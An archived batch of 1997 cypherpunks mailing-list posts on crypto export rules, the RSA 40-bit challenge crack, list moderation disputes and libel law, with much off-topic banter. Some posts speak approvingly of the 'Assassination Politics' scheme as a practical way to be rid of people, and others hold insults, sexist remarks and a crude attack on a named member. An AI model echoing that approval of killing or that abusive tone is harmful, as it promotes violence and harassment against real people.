Mark Rosen
FireSoft - http://www.geocities.com/SiliconValley/Pines/2690
Mark Eats AOL - http://www.geocities.com/TimesSquare/6660




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 19:55:05 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: Fighting the cybercensor
In-Reply-To: <v02140b00af14797a523a@[10.0.2.15]>
Message-ID: <199701290350.VAA02021@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Steve Schear wrote:
> 
> >jim bell wrote:
> >>
> >> At 10:21 PM 1/26/97 -0800, blanc wrote:
> >> >From:        jim bell (in response to Dimitri Vulis')
> >> >Look, I've proposed what I consider to be a remarkably consistent method to
> >> >prevent the kind of political tyranny that you criticize, and I don't see
> >> >any recognition of this fact.
> >> >........................................................
> >> >
> >> >1) Jim, why do you insist on discussing this on an forum for encryption?
> >>
> >> Because it's on-topic, that's why.  Because it's not merely a list
> >> concerning METHODS of encryption, it's also about the _reasons_ for using
> >> encryption, as well as the _effects_ (both small-scale and large-scale) of
> >> using encryption.
> >
> >Actually AP is one of the more interesting topics here. I think that there
> >is a clear need for an AP bot.
> >
> >Do you feel like writing it?
> >
> >        - Igor.
> 
> Jim's all talk, I on the other hand am serious.  Did you receive my Monday
> e-mail?
> 

yes, and found it interesting.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 21:54:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trolling with Dale (a bite)
In-Reply-To: <199701281448.GAA02231@mailmasher.com>
Message-ID: <32EEE5F6.5C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> From: Dale Thorn <dthorn@gte.net>
> Subject: Re: overview.htm (fwd)
> Dale Thorn hopelessly wrote:
> >Let's be realistic about how AIDS is acquired.

> Yes, Dale, let's. Dale makes an excellent case for having a moderated
> list right here. What do his nutball beyond-the-fringe remarks have
> to do with crypto, privacy, security? Cripes, in the old days even an
> _accurate_ off-list remark would open a blast furnace of condemnation,
> a la Jim B. If the list won't moderate itself to "guide" the Dale's,
> it DESERVES to be moderated.  He's gotta be trolling to keep it hard.

Well, I don't know who you are, so (despite your remarks) I can't
really tell what your question is.  I suppose if we sat down with a
human moderator and a copy of Applied Cryptography, you'd know the
XOR's and S-boxes and whatnot better than I.  That's why we need
people like you on this list, especially the moderated list, since
you know the conventional (academic) crypto really well.  To be
honest, I'm after more important things, but hey, keep plugging away
and maybe I'll learn something from you.  Hugs and stuff....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Tue, 28 Jan 1997 20:13:00 -0800 (PST)
To: Somebody <nowhere@erewhon.org>
Subject: Re: Sovreign Right of Lawful Access
In-Reply-To: <199701282156.NAA03998@toad.com>
Message-ID: <32EECE0E.3BA1@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Somebody wrote:
> 
> This morning at the RSA keynote, David Aaron, the US Crypto 
> ambassador quoted the "Sovreign Right of Lawful Access" as
> something that goverments were determined to preserve.

Speaking as a private indiwidual, and not as a drone in the employ
of IBM (don't get me started on the "but wait, key recovery *isn't*
the same as key escrow" hoo-ha), that dude scared the piss out of
me.

As an IBM employee worried about commercial this-n-that, he was
merely depressing.

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Tue, 28 Jan 1997 21:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701290513.WAA08719@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:

>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.

Wrong! White-americans play a very important and useful role in the new
multi-cultural society. Sheesh! _Someone's_ got to work, support their
families, pay taxes, and obey the law. Hee hee! Him so stoopit!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:24:07 -0800 (PST)
To: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Subject: Re: [noise] RE: Shave the Whales
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
Message-ID: <32EEEB6C.4D7C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mullen, Patrick wrote:
> Is there a way we can keep the caricatures w/out getting the rest of the
> message
> w/ these postings?  I like the ASCII art, but...

I've just started clipping and saving the characters w/o the text
that accompanies them.  I've got a dozen so far, so check back in
a week or so and I'll forward a set to anyone who wants.  Unless,
of course, someone has a bucket of them now.

BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
a cow, etc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 22:37:16 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <3.0.1.32.19970128190443.00625320@popd.ix.netcom.com>
Message-ID: <32EEEE17.7238@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> >January 28, 1997 - Ian Goldberg, a UC Berkeley graduate student,
> >announced today that he had successfully cracked RSA Data Security
> >Inc.'s 40-bit challenge cipher in just under 3.5 hours.

  I just ran out of asswipe.
  Does anyone have any RSA Data Security, Inc. stock they'd like to
sell?

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:31:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: can Sun Tzu be a cypherpunks?
In-Reply-To: <199701282258.OAA28486@miron.vip.best.com>
Message-ID: <32EEEEA4.440E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


nobody@nowhere.com wrote:
> Quotations from the Art Of War by Sun Tzu
> A Military operation involves deception. Even though you are competent,
> appear to be incompetent. Though effective, appear to be ineffective.
> Draw them in with the prospect of gain, take them  by confusion.
> Use humility to make them haughty. Tire them by flight. Cause division
> among them. Attack when they are  unprepared, make your move when they
> do not expect it.

The all-time master was Rudolph Wanderone (sp?), a.k.a.
Minnesota Fats.  There was an article on him that told how he
cleaned the pool champ in Atlantic City circa 1960.

In later years, he played Mosconi on TV several times, and had
quite a few people convinced he wasn't a very good player, at
least "not as good as" Mosconi.  The movie Color Of Money shows
what this meant, and just how unprepared the public is to believe
that someone like Fats could really be the best.  Kinda like
Tom Wolfe and the pirates thing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 22:40:50 -0800 (PST)
To: Richard Fiero <rfiero@pophost.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <3.0.1.32.19970128213609.006dc248@pop.pophost.com>
Message-ID: <Pine.SUN.3.91.970128222115.6827U-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 28 Jan 1997, Richard Fiero wrote:

> Get it straight Sandy Sandfort. I'm not in your home. I am in
> my home and I will observe my priorities, not your's.

Silly things happen when one responds literally to an obvious 
metaphor.  (see, "analogy.")

> ...In part I refer to a
> Sandy Sandfort reply to a criticism made by Paul Bradley. The reply was
> made public two hours before the criticism was.

Nonsense.  Richard may have read my response on the Unedited list
and Paul post on the Moderated list, but I sent my response to
each list in the appropriate order, Paul's post, followed by my 
response.  In any event, how would intentionally reversing the 
order have benefited me?  This specious argument makes no sense.  

> In the reply, Sandy Sandfort employs the name-calling "sophist"
> and "hypocrite."

Nope, wrong again.  I referenced sophistry and hypocracy.  I 
leave the significance of the difference as an exercise to the
student.  (Hint: one is an argument to the man, the other isn't.)

> Also in the reply is the Freudian slip or obscene proposition:
> > . . . . . . . . . . . . . . . . . . . .  "Force," my ass. 
> Shouldn't this have gone to cypherpunks-flames?

And wrong yet again.  Not a personal attack but commentary on 
wooly thinking.
 
> One might wonder just what the rules of proper decorum are.

One might read my posts on this point and pay attention.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:44:16 -0800 (PST)
To: OKSAS <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970128102231.28014B-100000@pegasus.montclair.edu>
Message-ID: <32EEF0AC.BF1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS wrote:
> On Mon, 27 Jan 1997, Dale Thorn wrote:
> > Nurdane Oksas wrote:

> > > > > > > California is know for very beautiful girls ...

> > > Well, can you say you've been 'anywhere else'?

> > Atlanta has some nice babes, warm weather.
> > Charleston. Much smaller than Atlanta. Very cozy.
> > Southern Germany. Very, very nice.  Loved Berchtesgaden (sp?).
> > What about you?

> I am not into girls...sorry.

Too bad.  They're cleaner, more polite, less aggressive, make far
better love than men.  If only they were interested in real computing
(other than as a job or school work).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Tue, 28 Jan 1997 22:25:22 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701290610.WAA20623@toad.com>
Message-ID: <199701290640.WAA26004@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


http://now.cs.berkeley.edu/

> Yee-hah!  Congratulations (and enjoy the $1000 check!)
> So what did you do interesting cryptographically in the crack, 
> other than coordinating a bunch of workstations?
> Was it just brute force with well-tuned code?
> Given the figures in your press release, it sounds like you
> tested about 350 billion keys out of a trillion possible,
> so you hit the winner a shade early.  That's about 400,000 keys/sec/box.
> Are the machines mostly Pentiums, Alphas, Suns, etc.?



-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 28 Jan 1997 20:42:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Libel & the 1st Amendment
Message-ID: <199701290442.WAA07196@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

It has been asserted by at least one member that the 1st Amendment protects
libelous or other defamatory speech. 

This is hokem. The 1st most certainly does not protect lies in any form. It
protects opinion, this is distinctly different then stating a untruth about
some party or distribution of material with the attributation to them
without their permission.

No civilized society can exist that permits lies and other defamations of
character and expect to survive for any length of time. Simply for no other
reason than contracts and other such instruments would not be worth the
paper they were printed on. Let alone any laws or other issuances from the
government itself.


				ARTICLE I. 
 
	Congress shall make no law respecting an establishment of religion, 
or prohibiting the free exercise thereof; or abridging the freedom of 
speech, or of the press; or the right of the people peaceably to assemble, 
and to petition the Government for a redress of grievances. 
 
 
Where in there do you see a right to lie, cheat, or steal? If it did, it
would be a lie because it would not protect the very freedom it says it is.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tobin Fricke" <tobin@mail.edm.net>
Date: Tue, 28 Jan 1997 22:59:22 -0800 (PST)
To: "Phil Karn" <cypherpunks@toad.com>
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701290612.WAA04048@ns2.snni.com>
MIME-Version: 1.0
Content-Type: text/plain


> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

Hmmm.. Printing out, say,  PGP as a book where each page is a 2 dimensional
bar code would be rather interesting.  Then again, OCR works pretty well
for normal text.

            A printed book or other printed material setting forth
encryption
	source code is not itself subject to the EAR (see
	Sec. 734.3(b)(2)). However, notwithstanding Sec. 734.3(b)(2),
	encryption source code in electronic form or media (e.g., computer
	diskette or CD ROM) remains subject to the EAR (see
	Sec. 734.3(b)(3)). 

Does a barcode fall under "electronic form or media" or is it "printed
material"?  What about punched cards? (-:

Tobin Fricke





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 22:49:00 -0800 (PST)
To: OKSAS <oksas@asimov.montclair.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <Pine.SOL.3.93.970129001058.16757C-100000@pegasus.montclair.edu>
Message-ID: <32EEF298.2130@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS wrote:
> On Tue, 28 Jan 1997, blanc wrote:
> > From: jim bell

> > I was thinking the reason that most people don't think of applying AP is
> > because they're normal.   It is not the first thought of a normal person to
> > kill another human, just because they've been offended - even severely.  It
> > takes an extraordinary circumstance to motivate one to such destruction,
> > especially if there are a thousand armed troops supporting the object of
> > the attempt.

>         Any normal person has potential to kill,
>         why they don't...?  They have other thoughts
>         and dreams for a better future.

Some people in society are like a bad dream (ok, ok).  Anyway, they
are a lot harder to get rid of than just waking up and going back to
sleep.  But AP offers the first practical solution to this problem.
Get rid of the bad dreams, have good dreams.  What could be better?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 20:54:12 -0800 (PST)
To: m5@vail.tivoli.com
Subject: M.M. / Re: Sovreign Right of Lawful Access
In-Reply-To: <199701282156.NAA03998@toad.com>
Message-ID: <32EEF3F6.1F03@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike McNally wrote:
> Somebody wrote:
> > This morning at the RSA keynote, David Aaron, the US Crypto
> > ambassador quoted the "Sovreign Right of Lawful Access" as
> > something that goverments were determined to preserve.
> 
> Speaking as a private indiwidual, and not as a drone in the employ
> of IBM (don't get me started on the "but wait, key recovery *isn't*
> the same as key escrow" hoo-ha), that dude scared the piss out of
> me.

  That plinking sound you hear is the sound of NSA's bloodhounds
stamping the phrase, in reverse, on the bottom of their jackboots.
  "Sovreign Right" has that certain ring to it which suggests 
the rhetoric of Dictators who imagine themselves to be Kings.
   "Lawful Access" has that "Of course, we will only use this
'right' against drug dealers.", kind of feel to it.

  Perhaps the student who popped RSA's test balloon could propose 
the "Universal Right to Casual Access."

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 28 Jan 1997 21:10:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290442.WAA07196@einstein>
Message-ID: <199701290507.XAA02510@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc to Dr. John Martin Grubor, Law Systems Institute]

Jim Choate wrote:
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 

[I would appreciate if people with better knowledge of law correct me]

I doubt that anyone made this assertion. What Greg Broiles and Dr.
Grubor asserted was that because of the first amendment, the government
can not initiate an action in a libel case. Which means that libel is
not a crime. There may be some old statutes that declare libel a crime, 
as Greg noted, but they are not enforceable because of the first amendment.

Suits can be brought by private individuals though.

The government, even if it is defamed, cannot sue a private person 
for libel. For example, I can say that Congress regularly molests
small children, and they will not be able to do anything about me.

> This is hokem. The 1st most certainly does not protect lies in any form. It
                                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.

Not exactly. 

I can lie as much as I want about the government. No one would be
able to prosecute me. These particular lies are protected, contrary
to what you state.

The law does not protect ALL opinions, as well.

> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.

You are mixing in totally unrelated things, Jim. Enforcement of contracts
has nothing to do with freedom of speech. For example, if you borrow $100
from me and fail to return your debt in time, this is an issue of contract
law and not of free speech.

Contract law is not about speech, it is about promises.

> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.

Do you think that all rights should be found in the first amendment?
What does the right to steal have to do with what we are talking about?

I suggest reading "The Fourth Estate and the Constitution: Freedom
of the Press in America", by Lucas a Powe, Jr.

As for stealing and cheating in contracts, read any textbook on business
law for business students. It is very useful to read this stuff, by the
way.

Not that these books give one a complete picture on law, but they
are very informative.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:22:08 -0800 (PST)
To: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Subject: Re: How to subscribe
In-Reply-To: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
Message-ID: <32EEFA4D.BAC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:
> I have learned from the discussions in this list that there are other lists related to this one. Can anybody send me information on what is available and when this confusion  created by having different lists will stop.

> cypherpunks : unmoderated and uncensored
> cypherpunks : unmoderated and censored
> cypherpunks : moderated   and uncensored
> cypherpunks : moderated   and censored

Theodor - where did you get the info on the 4 lists above?

> cypherpunks : US eyes only -- export restrictions
> cypherpunks : Europe
> cypherpunks : private mail

> Theodor W. Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 28 Jan 1997 23:26:02 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <8P181D93w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970128232152.28952G-100000@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> >
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > > > Nurdane Oksas wrote:
> > > > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > > > Nurdane Oksas wrote:
> > > > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> > >
> > > > > > > but remember, tanning will kill ya.
> > >
> > > > > >         Yes it will; Not a fan of tanning myself...it also causes lot
> > > > > >         of skin problems, have seen women age too soon tanning;
> > > > > >         we don't go outside naked here in NorthEast...do remember;
> > >
> > > > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > > > distributed tan looks best with, say, a pure white bikini.  You can
> > > > > go to the beach, of course, and hang out with the hoi polloi, but
> > > > > it's mostly kids with pimples and stuff.
> > >
> > > >         i don't see why she would wear a bikini if she already is tan.
> > > >         She just goes to show off right???  California is know for
> > > >         very beautiful girls ...     I like the pale look :)
> > >
> > > There are two really major beaches in the L.A. area that I know of.
> > > One is Bolsa Chica, several miles long, north of Huntington Beach,
> > > which attracts most of the young'uns south of L.A., and Zuma in the
> > > northmost points of Malibu, which gets a lot of Valley people
> > > (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> > > "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> > > Because that's where all the hot young boys are."
> >
> > 	I see.
> >
> > > But the real babes don't go there.  They get skates and nifty little
> > > costumes and zip up and down the boardwalks in Santa Monica and
> > > Pacific Palisades mostly, in case some hot producer/director should
> > > happen along.
> >
> > 	I see.
> > 	
> 
> Why is a mere "I see" classified as cypherpunks-flames???
> Stop picking on girls, Sandy.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

It wasn't and I wasn't.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:36:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <8P181D93w165w@bwalk.dm.com>
Message-ID: <32EEFDDF.3ABC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > On Mon, 27 Jan 1997, Dale Thorn wrote:
> > > Nurdane Oksas wrote:
> > > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > But the real babes don't go there.  They get skates and nifty little
> > > costumes and zip up and down the boardwalks in Santa Monica and
> > > Pacific Palisades mostly, in case some hot producer/director should
> > > happen along.

> >       I see.

> Why is a mere "I see" classified as cypherpunks-flames???
> Stop picking on girls, Sandy.

You are now at level 2, Starfighter.  You must defend the Federation
against the Kodan(sp?) Armada. (There are an infinite number of levels,
BTW).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 23:46:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199701290745.XAA19388@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


The main difference between Tim Maya and shit 
is that shit smells better.

            __[I]__
              o-o'
       __oOo__(-)_oOo__ Tim Maya
               V





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 23:49:19 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701290653.AAA04799@manifold.algebra.com>
Message-ID: <32EF00D3.5A71@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Too bad.  They're cleaner, more polite, less aggressive, make far
> > better love than men.  If only they were interested in real computing
> > (other than as a job or school work).

> Most of women are not worthy.
> I know one who is truly interested in computing.

How many eyes, ears, and noses does she have?  Is she particularly
nervous around microwave ovens?  Does she wear strange, mismatched
clothing?  Any strange eating habits, such as French fries with a
spoon?  No sense of humor, or laughs at times when nobody else does?
Takes off a lot of days sick?  Takes a lot of notes?  Uses any common
items in a bizarre way, such as nail-painting with Wite-out?  Asks
a lot of questions that any normal person would know?  Secretive
about her personal life?  Does she ever talk to herself, as in
practicing speech?  -just curious.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:32:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701282106.NAA01621@toad.com>
Message-ID: <199701290550.XAA02789@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul said:
> The list has been disentigrating for some time since the disgusting 
> incident when Dimitri was forcibly unsubscribed from the list. There 

    Bullshit. This list was disentigrating well before that, and Vulis's 
actions were a part of that disentigration.

> > a while."
> 
> So, there would be no intellectual dishonesty in a country claiming 
> to be a free and open society "trying out" fascism for a month or 
> two? - After all it`s a private country just as this is a private 
> list....

    As long as they let people leave at any point in the experiment, 
comment on the experiment, and start their own country if they don't like it. 

> There is a clear trend easily observable on the list whereby certain 
> members postings are censored when their content is of a standard 
> that, if the moderation were objective and based on content alone, 
> would warrant their being sent to the censored list.

     Really? Point to this "trend". I only know of 2 articles, and 
Sandy explained his (IMNTBHO incorrect) reasoning behind that.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:34:47 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701282212.OAA04686@toad.com>
Message-ID: <199701290552.XAA02798@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill said:
> That was not all. We had a political Web site established
> during the '92 election. I was in contact with Clinton's people
> when we had fewer than 100 Web sites.
> 
> I am a cyber-revolutionary and the world has bought into
> the chaos of our revolution. I never intended the Web to be a tool
> for confirming the present social order which is manifestly 
> corrupt.

     Which of course is why you were in contact with Billy's boys right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 28 Jan 1997 22:00:01 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701290256.SAA14915@toad.com>
Message-ID: <v03007801af1488392f31@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


MIT probably has a need-blind admissions policy; they don't care whether or
not you have money. When they admit you, at least.

Let me plug Carnegie Mellon University, which consistently ties with MIT
and one of them California schools for first place in computer science.
It's not quite as hard to get into as MIT, though you do have to deal with
Pittsburgh winters. The town itself is small enough to be friendly, and big
enough to be interesting. Jim Morris, the head of the computer science
department, was my instructor for a data structures class and truly seemed
to care about his students' well-being.

Oh, and I remember we had t-shirts saying: "MIT -- the CMU of Massachusetts."

-Declan


Rick wrote:

>At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
>>This is really exagerating.  You do not need a 4.0, 1600, etc. to be
>>admitted to MIT.  Sure, you need good grades, but a 3.6 average and
>>1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
>
>I disagree and can speak from experience.  I was denied admission to MIT
>even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>was on several academic teams, sang in Chorus, acted and stage managed in
>Drama, and played Tennis.
>
>The only thing I didn't have that the next MIT applicant had was money.  I
>made the mistake of letting them know that I was dirt poor and would need
>full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>Russian front!"
>
>>For what it's worth, I wanted to go to MIT my sophomore year in high
>>school, too
>
>Lucky you.  It had been a dream of mine since I was an annoying
>overachiever of 6.  Sux to be white trash, I guess.
>
>MIT may be a great school, but they tend to be snooty assholes for the most
>part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>assholes", I'm just saying that I've yet to meet one that wasn't.)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
>"He who knows, does not speak.
>He who speaks, does not know."



-------------------------
Washington Correspondent
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 28 Jan 1997 21:46:12 -0800 (PST)
To: hallam@ai.mit.edu (Phillip M. Hallam-Baker)
Subject: Re: Fighting the cybercensor. (fwd)
In-Reply-To: <199701282214.OAA04788@toad.com>
Message-ID: <199701290603.AAA02837@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Phill wrote:
> I'm a philosophical anarchist and I don't consider the state to have
> "rights" over its "subjects", nor do I believe in the pure ideology of
> property you do.
> 
> Its worth noting that the origin of property is theft. In the case of the

    BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
that _my_ property is the result of ME stealing, and hence what I OWN belongs
to the community IS theft. I work, and as the result of that work something is
created. That something is MINE to do with as I will. If I choose to sell that
work for money, that money is mine. If I trade that money for shoes, those 
shoes are mine. THere is no theft involved.

> controllers of China literally so since they stole most of their "property"
> from the previous rulers.

     They "won" it in combat. The people of china obviously prefered new 
government to the old one, or they would have prevented the takeover. 

> I believe that the relationship between a state and individual is
> a much more complex one than the slavish subjection model
> you propose. In this I am in agreement with practically every
> philosopher since Locke.

     Practically every philosopher since Locke has recieved their education
at a Government or "Elite" sponsored school, and made their livings the same 
way. I'm not claiming conspiracy here, but those that feed at the trough 
aren't going to insult it overmuch.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 29 Jan 1997 00:14:03 -0800 (PST)
To: Vipul Ved Prakash <cypherpunks@toad.com>
Subject: Re: Child Porn
Message-ID: <3.0.32.19970129001035.006f3328@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 04:48 AM 1/29/97 +0000, Vipul Ved Prakash wrote:
>(Forward)
>*** NY student charged with sending child sex photos over Internet
